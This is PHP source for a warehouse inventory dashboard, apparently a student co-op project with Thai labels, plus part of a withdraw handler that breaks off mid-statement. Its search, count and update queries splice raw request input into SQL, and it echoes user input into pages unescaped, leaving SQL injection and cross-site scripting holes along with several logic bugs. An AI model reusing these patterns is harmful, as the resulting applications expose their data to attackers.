OR (`id_emp` LIKE '%$search%')
OR (`action` LIKE '%$search%')
OR (`amount` LIKE '%$search%') ORDER BY date asc limit {$start} , {$perpage};";
$results = mysqli_query($db, $sqls);
$sqle = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$search%')
OR (`id_mat` LIKE '%$search%')
OR (`no` LIKE '%$search%')
OR (`id_emp` LIKE '%$search%')
OR (`action` LIKE '%$search%')
OR (`amount` LIKE '%$search%') ORDER BY date asc;";
$resulte = mysqli_query($db, $sqle);
}
$e = 1;
if (isset($_POST["export"])) {
$filename = "process_$action.xls";
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"$filename\"");
$isPrintHeader = false;
if (! empty($resulte)) {
foreach ($resulte as $rows) {
if (! $isPrintHeader) {
echo "Number","\t";
echo implode("\t",array_keys($rows)) . "\n";
$isPrintHeader = true;
}
echo $e,"\t"; $e++;
echo implode("\t", array_values($rows)) . "\n";
}
}
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags-->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Co-Op Project">
<meta name="author" content="<NAME>">
<meta name="keywords" content="Co-Op Project">
<!-- Title Page-->
<title>Dashboard</title>
<link rel="icon" href="images/icon/true2.png" type="image/icon type">
<!-- Fontfaces CSS-->
<link href="css/font-face.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-4.7/css/font-awesome.min.css" rel="stylesheet" media="all">
<link href="vendor/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">
<link href="vendor/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">
<!-- Bootstrap CSS-->
<link href="vendor/bootstrap-4.1/bootstrap.min.css" rel="stylesheet" media="all">
<!-- Vendor CSS-->
<link href="vendor/animsition/animsition.min.css" rel="stylesheet" media="all">
<link href="vendor/bootstrap-progressbar/bootstrap-progressbar-3.3.4.min.css" rel="stylesheet" media="all">
<link href="vendor/wow/animate.css" rel="stylesheet" media="all">
<link href="vendor/css-hamburgers/hamburgers.min.css" rel="stylesheet" media="all">
<link href="vendor/slick/slick.css" rel="stylesheet" media="all">
<link href="vendor/select2/select2.min.css" rel="stylesheet" media="all">
<link href="vendor/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">
<!-- Main CSS-->
<link href="css/theme.css" rel="stylesheet" media="all">
<link href="css/paginator.css" rel="stylesheet" media="all">
</head>
<body class="animsition">
<div class="page-wrapper">
<!-- HEADER DESKTOP-->
<header class="header-desktop3 d-none d-lg-block">
<div class="section__content section__content--p35">
<div class="header3-wrap">
<div class="header__logo">
<a href="#">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
</div>
<div class="header__navbar">
<ul class="list-unstyled">
<li>
<a href="#">
<i class="fas fa-chart-pie"></i>
</span>Home</a>
</li>
<li>
<a href="form_show_location.php">
<i class="fas fa-warehouse"></i>
<span class="bot-line"></span>Location Good</a>
</li>
<li>
<a href="form_show_location_fail.php">
<i class="fas fa-wrench"></i>
<span class="bot-line"></span>Location Fail</a>
</li>
<?php
if($_SESSION['username'] == !""){
?>
<li class="has-sub">
<a href="#">
<i class="fas fa-copy"></i>
<span class="bot-line"></span>Manage</a>
<ul class="header3-sub-list list-unstyled">
<li>
<a href="form_show_mat.php">
<i class="fas fa-barcode"></i>Material</a>
</li>
<li>
<a href="form_show_mattype.php">
<i class="fas fa-barcode"></i>Material Type</a>
</li>
<li>
<a href="form_show_emp.php">
<i class="fas fa-user"></i>Employee</a>
</li>
<li>
<a href="form_show_position.php">
<i class="fas fa-user"></i>Position</a>
</li>
<li>
<a href="form_show_department.php">
<i class="fas fa-user"></i>Departmet</a>
</li>
<li>
<a href="form_show_plant.php">
<i class="fas fa-warehouse"></i>Plant</a>
</li>
<li>
<a href="form_show_store.php">
<i class="fas fa-warehouse"></i>Store</a>
</li>
<li>
<a href="form_show_shelf.php">
<i class="fas fa-warehouse"></i>Shelf</a>
</li>
<li>
<a href="form_show_users.php">
<i class="fas fa-user"></i>Users</a>
</li>
</ul>
</li>
<?php
}
?>
</li>
</ul>
</div>
<div class="header__tool">
<div class="account-wrap">
<div class="account-item account-item--style2 clearfix js-item-menu">
<div class="content">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="js-acc-btn"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a class="js-acc-btn" href="#"><?php echo $_SESSION['username'] ?></a>
<?php
}
?>
</div>
<div class="account-dropdown js-dropdown">
<?php
if($_SESSION['username'] == !""){
?>
<div class="account-dropdown__body">
<div class="account-dropdown__item">
<a href="account.php">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
</div>
<?php
}
?>
<div class="account-dropdown__footer">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="zmdi zmdi-power"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a href='action/logout.php'>
<i class="zmdi zmdi-power"></i>Logout</a>
<?php
}
?>
<a href="forget-pass.html">
<i class="zmdi zmdi-key"></i>Forget Password</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<!-- END HEADER DESKTOP-->
<!-- HEADER MOBILE-->
<header class="header-mobile header-mobile-2 d-block d-lg-none">
<div class="header-mobile__bar">
<div class="container-fluid">
<div class="header-mobile-inner">
<a class="logo" href="#">
<img src="images/icon/true2.png" alt="CoolAdmin" />
</a>
<button class="hamburger hamburger--slider" type="button">
<span class="hamburger-box">
<span class="hamburger-inner"></span>
</span>
</button>
</div>
</div>
</div>
<nav class="navbar-mobile">
<div class="container-fluid">
<ul class="navbar-mobile__list list-unstyled">
<li>
<a href="#">
<i class="fas fa-chart-pie"></i>Home</a>
</li>
<li>
<a href="form_show_location.php">
<i class="fas fa-warehouse"></i>
<span class="bot-line"></span>Location Good</a>
</li>
<li>
<a href="form_show_location_fail.php">
<i class="fas fa-wrench"></i>
<span class="bot-line"></span>Location Fail</a>
</li>
<?php
if($_SESSION['username'] == !""){
?>
<li class="has-sub">
<a class="js-arrow" href="#">
<i class="fas fa-copy"></i>Manage</a>
<ul class="navbar-mobile-sub__list list-unstyled js-sub-list">
<li>
<a href="form_show_mat.php">
<i class="fas fa-barcode"></i>Material</a>
</li>
<li>
<a href="form_show_mattype.php">
<i class="fas fa-barcode"></i>Material Type</a>
</li>
<li>
<a href="form_show_emp.php">
<i class="fas fa-user"></i>Employee</a>
</li>
<li>
<a href="form_show_position.php">
<i class="fas fa-user"></i>Position</a>
</li>
<li>
<a href="form_show_department.php">
<i class="fas fa-user"></i>Department</a>
</li>
<li>
<a href="form_show_plant.php">
<i class="fas fa-warehouse"></i>Plant</a>
</li>
<li>
<a href="form_show_store.php">
<i class="fas fa-warehouse"></i>Store</a>
</li>
<li>
<a href="form_show_shelf.php">
<i class="fas fa-warehouse"></i>Shelf</a>
</li>
<li>
<a href="form_show_users.php">
<i class="fas fa-user"></i>Users</a>
</li>
</ul>
</li>
<?php
}
?>
</ul>
</div>
</nav>
</header>
<div class="sub-header-mobile-2 d-block d-lg-none">
<div class="header__tool">
<div class="account-wrap">
<div class="account-item account-item--style2 clearfix js-item-menu">
<div class="content">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="js-acc-btn"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a class="js-acc-btn" href="#"><?php echo $_SESSION['username'] ?></a>
<?php
}
?>
</div>
<div class="account-dropdown js-dropdown">
<?php
if($_SESSION['username'] == !""){
?>
<div class="account-dropdown__body">
<div class="account-dropdown__item">
<a href="account.php">
<i class="zmdi zmdi-account"></i>Account</a>
</div>
</div>
<?php
}
?>
<div class="account-dropdown__footer">
<?php
if($_SESSION['username'] == ""){
?>
<a href='login.php'>
<i class="zmdi zmdi-power"></i>Login</a>
<?php
}
?>
<?php
if($_SESSION['username'] == !""){
?>
<a href='action/logout.php'>
<i class="zmdi zmdi-power"></i>Logout</a>
<?php
}
?>
<a href="forget-pass.html">
<i class="zmdi zmdi-key"></i>Forget Password</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END HEADER MOBILE -->
<!-- PAGE CONTENT-->
<div class="page-content--bgf7">
<!-- BREADCRUMB-->
<section class="au-breadcrumb2">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="au-breadcrumb-content">
<div class="au-breadcrumb-left">
<span class="au-breadcrumb-span">You are here:</span>
<ul class="list-unstyled list-inline au-breadcrumb__list">
<li class="list-inline-item active">
<a href="#">Home</a>
</li>
<li class="list-inline-item seprate">
<span>/</span>
</li>
<li class="list-inline-item"><?php echo $action; ?></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- END BREADCRUMB-->
<!-- WELCOME-->
<section class="welcome p-t-10">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="overview-wrap">
<h1 class="title-4">Inventory Movement</h1>
<form action="index.php" method="request">
<button type="submit" name="action" id="allsearch" value="all" class="au-btn au-btn-icon au-btn--blue">
<i class="zmdi zmdi-search"></i>ALl Process</button>
</form>
</div>
<hr class="line-seprate">
</div>
</div>
</div>
</section>
<!-- END WELCOME-->
<!-- STATISTIC-->
<section class="statistic statistic2">
<div class="container">
<div class="row">
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c1">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="today" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-exchange-alt"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE date(`date`) = date(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Action today</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c2">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="todayd" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-box"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE `action` = 'deposited' AND date(`date`) = date(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Deposited today</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c3">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="todayw" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-box"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE `action` = 'withdraw' AND date(`date`) = date(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Withdraw today</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c4">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="todayr" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-pallet"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE `action` = 'return' AND date(`date`) = date(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Return today</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c1">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="thismonth" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-exchange-alt"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE month(`date`) = month(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Action this month</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c2">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="thismonthd" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-box"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT sum(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE `action` = 'deposited' AND month(`date`) = month(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Deposited thismonth</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c3">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="thismonthw" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-box"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE `action` = 'withdraw' AND month(`date`) = month(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Withdraw this month</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
<div class="col-sm-6 col-lg-3">
<div class="overview-item overview-item--c4">
<form method="request" class="form-header" action="index.php">
<button type="submit"><input type="hidden" name="action" value="thismonthr" />
<div class="overview__inner">
<div class="overview-box clearfix">
<div class="icon">
<i class="fa fa-pallet"></i>
</div>
<div class="text">
<h2>
<?php
$sql="SELECT SUM(`process_log`.`amount`) AS `amount` FROM `process_log` WHERE `action` = 'return' AND month(`date`) = month(now())";
$result=$db->query($sql);
while($row=$result->fetch_object())
{
?>
<option value="<?php echo $row->amount;?>">
<?php echo $row->amount;?>
</option>
<?php
}
?>
</h2>
<span>Return this month</span>
</div>
</div>
</div>
</button>
</form>
</div>
</div>
</div>
<hr class="line-seprate">
</div>
</section>
<!-- END STATISTIC-->
<!--แสดงข้อมูล-->
<section class="p-t-20 p-b-20">
<div class="container">
<?php
{
?>
<div class="row">
<div class="col-md-12">
<div class="row">
<div class="col">
<div class="overview-wrap">
<div class="overview-wrap">
<?php
if(isset($_GET['search']))
{
?>
<font color="blue"><?php echo ($search); ?></font>
<?php
}
?>
พบผลลัพธ์
<b>
<?php
if($action=='today'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$day%') AND (`action` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`amount` LIKE '%$search%'));";
}
else if($action=='todayd'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$day%') AND (`action` LIKE 'deposited') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'deposited') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'deposited') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'deposited') AND (`amount` LIKE '%$search%'));";
}
else if($action=='todayw'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`amount` LIKE '%$search%'));";
}
else if($action=='todayr'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$day%') AND (`action` LIKE 'return') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'return') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'return') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'return') AND (`amount` LIKE '%$search%'));";
}
else if($action=='thismonth'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$month%') AND (`action` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`amount` LIKE '%$search%'));";
}
else if($action=='thismonthd'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$month%') AND (`action` LIKE 'deposited') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'deposited') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'deposited') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'deposited') AND (`amount` LIKE '%$search%'));";;
}
else if($action=='thismonthw'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$month%') AND (`action` LIKE 'withdraw') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'withdraw') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'withdraw') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'withdraw') AND (`amount` LIKE '%$search%'));";
}
else if($action=='thismonthr'){
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE ((`date` LIKE '%$month%') AND (`action` LIKE 'return') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'return') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'return') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$month%') AND (`action` LIKE 'return') AND (`amount` LIKE '%$search%'));";
}
else{
$count="SELECT COUNT(`no`) as `no` FROM `process_log`
WHERE (`id_mat` LIKE '%$search%')
OR (`no` LIKE '%$search%')
OR (`id_emp` LIKE '%$search%')
OR (`action` LIKE '%$search%')
OR (`amount` LIKE '%$search%')
OR (`date` LIKE '%$search%');";
}
$resultcount=$db->query($count);
while($row=$resultcount->fetch_object())
{
?>
<option value="<?php echo $row->no;?>">
<?php echo $row->no;?>
</option>
<?php
}
?>
</b> รายการ
</div>
<form method="request" class="form-header" action="index.php">
<input id="search" class="au-input au-input--xl" type="text" name="search" value="" placeholder="กดปุ่มเพื่อแสดงข้อมูลการเบิก-คืน หรือกรอกคำค้นหา" size="control"/>
<button class="au-btn--submit" type="submit">
<input type="hidden" name="action" value="<?php echo ($action); ?>" />
<i class="zmdi zmdi-search"></i>
</button>
</form>
<div class="btn">
<form action="" method="POST">
<button type="submit" name="export" id="btnExport" value="Export" class="au-btn au-btn-icon au-btn--blue">
<i class="fa fa-file-excel-o"></i>Export</button>
</form>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="table-responsive m-b-40">
<table id="tap" class="table table-borderless table-data3">
<thead>
<tr>
<!--th><div align="center">Number</div></th-->
<th><div align="center">Action Number</div></th>
<th><div align="center">Material Number</div></th>
<th><div align="center">Employee</div></th>
<th><div align="center">Action</div></th>
<th><div align="center">Amount</div></th>
<th><div align="center">Date</div></th>
</tr>
</thead>
<?php
//$i = 1;
while($rows=$results->fetch_object()) {
?>
<tbody>
<tr>
<!--td align="center"><--?php echo $i; $i++; ?></td-->
<td align="center"><?php echo $rows->no; ?></td>
<td align="center"><?php echo $rows->id_mat; ?></td>
<td align="center"><?php echo $rows->id_emp; ?></td>
<td align="center"><?php echo $rows->action; ?></td>
<td align="center"><?php echo $rows->amount; ?></td>
<td align="center"><?php echo $rows->date; ?></td>
</tr>
</tbody>
<?php
}
?>
</table>
<?php
if($action=='today'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$day%') and (`id_mat` LIKE '%$search%')
OR (`date` LIKE '%$day%') and (`no` LIKE '%$search%')
OR (`date` LIKE '%$day%') and (`id_emp` LIKE '%$search%')
OR (`date` LIKE '%$day%') and (`action` LIKE '%$search%')
OR (`date` LIKE '%$day%') and (`amount` LIKE '%$search%') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='todayd'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$day%') AND (`action` LIKE 'deposited') and (`id_mat` LIKE '%$search%')
OR (`date` LIKE '%$day%') AND (`action` LIKE 'deposited') and (`no` LIKE '%$search%')
OR (`date` LIKE '%$day%') AND (`action` LIKE 'deposited') and (`id_emp` LIKE '%$search%')
OR (`date` LIKE '%$day%') AND (`action` LIKE 'deposited') and (`amount` LIKE '%$search%') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='todayw'){
$sql2 = "SELECT *
FROM process_log
WHERE ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`id_mat` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`no` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`id_emp` LIKE '%$search%'))
OR ((`date` LIKE '%$day%') AND (`action` LIKE 'withdraw') AND (`amount` LIKE '%$search%')) ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='todayr'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$day%')
AND (`action` LIKE 'return') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='thismonth'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$month%') and (`id_mat` LIKE '%$search%')
OR (`date` LIKE '%$month%') and (`no` LIKE '%$search%')
OR (`date` LIKE '%$month%') and (`id_emp` LIKE '%$search%')
OR (`date` LIKE '%$month%') and (`action` LIKE '%$search%')
OR (`date` LIKE '%$month%') and (`amount` LIKE '%$search%') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='thismonthd'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$month%')
AND (`action` LIKE 'deposited') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='thismonthw'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$month%')
AND (`action` LIKE 'withdraw') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else if($action=='thismonthr'){
$sql2 = "SELECT *
FROM process_log
WHERE (`date` LIKE '%$month%')
AND (`action` LIKE 'return') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
else {
$sql2 = "SELECT *
FROM process_log
WHERE (`id_mat` LIKE '%$search%')
OR (`no` LIKE '%$search%')
OR (`id_emp` LIKE '%$search%')
OR (`action` LIKE '%$search%')
OR (`amount` LIKE '%$search%')
OR (`date` LIKE '%$search%') ORDER BY date";
$query2 = mysqli_query($db, $sql2);
$total_record = mysqli_num_rows($query2);
$total_page = ceil($total_record / $perpage);
}
?>
<?php if ($total_page > 0): ?>
<div align="center">
<ul class="pagination">
<?php if ($page > 1): ?>
<li class="prev">
<a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page-1; ?>" aria-label="Previous">
<span aria-hidden="true">«</span> Prev
</a>
</li>
<?php endif; ?>
<?php if ($page > 3): ?>
<li class="start"><a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=1">1</a></li>
<li class="dots">...</li>
<?php endif; ?>
<?php if ($page-2 > 0): ?><li class="page"><a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page-2 ?>"><?php echo $page-2 ?></a></li><?php endif; ?>
<?php if ($page-1 > 0): ?><li class="page"><a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page-1 ?>"><?php echo $page-1 ?></a></li><?php endif; ?>
<li class="currentpage">
<a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page; ?>">
<?php echo $page; ?>
</a>
</li>
<?php if ($page+1 < $total_page+1): ?><li class="page"><a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page+1 ?>"><?php echo $page+1 ?></a></li><?php endif; ?>
<?php if ($page+2 < $total_page+1): ?><li class="page"><a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page+2 ?>"><?php echo $page+2 ?></a></li><?php endif; ?>
<?php if ($page < $total_page-2): ?>
<li class="dots">...</li>
<li class="end"><a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $total_page ?>"><?php echo $total_page ?></a></li>
<?php endif; ?>
<?php if ($page < $total_page): ?>
<li class="next">
<a href="index.php?action=<?php echo $action; ?>&search=<?php echo $search; ?>&page=<?php echo $page+1;?>" aria-label="Next">
Next <span aria-hidden="true">»</span>
</a>
</li>
<?php endif; ?>
</ul>
</div>
<?php endif; ?>
</div>
</div>
</div>
</div>
</div>
<?php
}
?>
</div>
</section>
<!-- COPYRIGHT-->
<section class="p-t-60 p-b-20">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="copyright">
<p>Copyright © 2020</a>.</p>
</div>
</div>
</div>
</div>
</section>
<!-- END COPYRIGHT-->
</div>
</div>
<!-- Jquery JS-->
<script src="vendor/jquery-3.2.1.min.js"></script>
<!-- Bootstrap JS-->
<script src="vendor/bootstrap-4.1/popper.min.js"></script>
<script src="vendor/bootstrap-4.1/bootstrap.min.js"></script>
<!-- Vendor JS -->
<script src="vendor/slick/slick.min.js">
</script>
<script src="vendor/wow/wow.min.js"></script>
<script src="vendor/animsition/animsition.min.js"></script>
<script src="vendor/bootstrap-progressbar/bootstrap-progressbar.min.js">
</script>
<script src="vendor/counter-up/jquery.waypoints.min.js"></script>
<script src="vendor/counter-up/jquery.counterup.min.js">
</script>
<script src="vendor/circle-progress/circle-progress.min.js"></script>
<script src="vendor/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="vendor/chartjs/Chart.bundle.min.js"></script>
<script src="vendor/select2/select2.min.js">
</script>
<!-- Main JS-->
<script src="js/main.js"></script>
</body>
</html>
<!-- end document-->
<file_sep><?php
date_default_timezone_set("Asia/Bangkok");
include("../connection/phpconnect.php");
$time = date("ymdHis");
$id_mat = $_REQUEST['id_mat'];
$id_store = $_REQUEST['id_store'];
$no = "$id_store$time";
$id_shelf = $_REQUEST['id_shelf'];
$id_employee = $_REQUEST['id_employee'];
$amount = $_REQUEST['amount'];
$date = date("Y-m-d H:i:s");
$call="SELECT * FROM `withdraw_return` WHERE `no` = $no;";
$result = mysqli_query($db, $call);
if($result->num_rows==0)
{
$amlo = "SELECT * FROM `location` WHERE `id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$reamlo = mysqli_query($db, $amlo);
if($reamlo->num_rows==1){
$cc = "SELECT `amount` FROM `location` WHERE `id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$recc = mysqli_query($db, $cc);
$ch = $recc - $amount;
$sqlup = "UPDATE
`location`
SET
`amount` = `amount` - '$amount'
WHERE
`id_mat` = '$id_mat' AND `id_store` = '$id_store' AND `id_shelf` = '$id_shelf'";
$ubdate = mysqli_query($db, $sqlup);
$sql="INSERT INTO `withdraw_return` (`no`, `id_mat`, `id_employee`, `action`, `amount`, `date`)
VALUES ('$no','$id_mat','$id_employee','withdraw','$amount','$date')";
$insert = mysqli_query($db, $sql);
echo $ch;
echo "<script type='text/javascript'>";
echo "alert('ทำรายการสำเร็จ');";
//echo "window.location = '../search.php?search=&submit='; ";
echo "</script>";
}
if($reamlo->num_rows==0){
echo "<script type='text/javascript'>";
echo "alert('ไม่พบข้อมูล กรุณาทำรายการอีกครั้ง');";
echo "window.history.back()";
echo "</script>";
}
}else
{
echo "<script type='text/javascript'>";
echo "alert('ไม่สามารถทำรายการได้');";
echo "window.history.back()";
